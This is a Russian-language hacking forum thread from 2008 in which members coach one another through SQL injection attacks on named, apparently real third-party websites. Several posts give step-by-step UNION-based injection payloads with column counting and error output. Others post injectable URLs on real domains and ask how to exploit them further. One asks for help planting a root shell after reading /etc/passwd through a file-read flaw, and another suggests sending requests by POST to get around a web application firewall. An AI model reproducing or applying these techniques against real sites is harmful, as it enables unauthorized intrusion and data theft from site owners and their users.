ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

06.02.2008, 11:53
|
|
Banned
Регистрация: 29.09.2007
Сообщений: 512
Провел на форуме: 4038468
Репутация:
1224
|
|
_-Ramos-_, ну и переберай order by:
host/index.php?id=1588+order+by+10/*
ошибки нет
host/index.php?id=1588+order+by+20/*
ошибки нет
host/index.php?id=1588+order+by+30/*
ошибка есть
host/index.php?id=1588+order+by+25/*
ошибка есть
host/index.php?id=1588+order+by+24/*
ошибки нет
значит union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,1 6,17,18,19,20,21,22,23,24/*
и смотри результат /* хоть я тебя и ненавижу =)
|
|
|

06.02.2008, 12:28
|
|
Участник форума
Регистрация: 13.06.2007
Сообщений: 127
Провел на форуме: 1450832
Репутация:
24
|
|
МОжет не в ту тему, но....
Есть сайт : _d-m-g.ru Нужно залить на него шелл(с рутом)
Вот нашёл что-то: _http://d-m-g.ru/old/?show=/etc/passwd ....что с этим делать.
Помогите плиз.
|
|
|

06.02.2008, 13:02
|
|
Banned
Регистрация: 04.01.2007
Сообщений: 193
Провел на форуме: 4213286
Репутация:
728
|
|
Сообщение от it's my
_-Ramos-_, ну и переберай order by:
host/index.php?id=1588+order+by+10/*
ошибки нет
host/index.php?id=1588+order+by+20/*
ошибки нет
host/index.php?id=1588+order+by+30/*
ошибка есть
host/index.php?id=1588+order+by+25/*
ошибка есть
host/index.php?id=1588+order+by+24/*
ошибки нет
значит union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,1 6,17,18,19,20,21,22,23,24/*
и смотри результат /* хоть я тебя и ненавижу =)
host/index.php?id=201+order+by+5/*
ошибка есть
host/index.php?id=201+order+by+4/*
ошибки нет
host/index.php?id=201+union+select+1,2,3,4/*
Код:
Тип ошибки: Невозможно выполнить запрос.
Текст запроса: SELECT * FROM cats WHERE id=201 union select 1,2,3,4/*
Ошибка mysql: The used SELECT statements have a different number of columns
// йа тебя тоже очень сильно люблю
|
|
|

06.02.2008, 13:18
|
|
Banned
Регистрация: 29.09.2007
Сообщений: 512
Провел на форуме: 4038468
Репутация:
1224
|
|
нужно задать неверный параметр (или как-то так) типа id=-99999
в итоге получим: host/index.php?id=-999999+union+select+1,2,3,4/*
должен сделать вывод
МОжет не в ту тему, но....
Есть сайт : _d-m-g.ru Нужно залить на него шелл(с рутом)
Вот нашёл что-то: _http://d-m-g.ru/old/?show=/etc/passwd ....что с этим делать.
Помогите плиз.
это не скуль
|
|
|

10.02.2008, 17:06
|
|
Новичок
Регистрация: 19.01.2008
Сообщений: 2
Провел на форуме: 85788
Репутация:
-4
|
|
tyt есть SQL Инъекции при запросе вылазие такая страничка вот запрос /blog/?feed=rss2&p=1' как её можно развить
|
|
|

13.02.2008, 12:39
|
|
Познающий
Регистрация: 09.08.2007
Сообщений: 58
Провел на форуме: 389103
Репутация:
15
|
|
Помогите докрутить скулю http://www.castersrealm.com/index.php/vanguard/trackbacks/2937/d212703779604fa568c6.info'+and+(1=1)--
|
|
|

14.02.2008, 10:47
|
|
Участник форума
Регистрация: 08.11.2007
Сообщений: 102
Провел на форуме: 1266776
Репутация:
93
|
|
Есть скуль. При сортировке полей все отлично, но когда делаю запрос через union, то вылазит эррор
Method Not Implemented
GET to / not supported.
Есть смысл дальше пытаться что-то искать здесь?
|
|
|

14.02.2008, 10:50
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
Провел на форуме: 1845062
Репутация:
1079
|
|
Сообщение от .acme
Есть скуль. При сортировке полей все отлично, но когда делаю запрос через union, то вылазит эррор
Есть смысл дальше пытаться что-то искать здесь?
Это похоже на mod_security или что-то типа того. Но на всякий случай попробуй постом
|
|
|

16.02.2008, 05:05
|
|
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме: 5128756
Репутация:
2032
|
|
http://www.utopiafilm.ru/prms/tid/3'
что тут можно сделать? форум вроде самописный + прилепили mod_rewrite. возможно, из-за этого идет некорректная обработка запросов.
|
|
|

16.02.2008, 17:55
|
|
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме: 5128756
Репутация:
2032
|
|
там ошибка на ошибке и там нечего брать
мне нужен другой сайт, на котором стоит аналогичный двиг.
за http://forum.filtrov.net thx
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|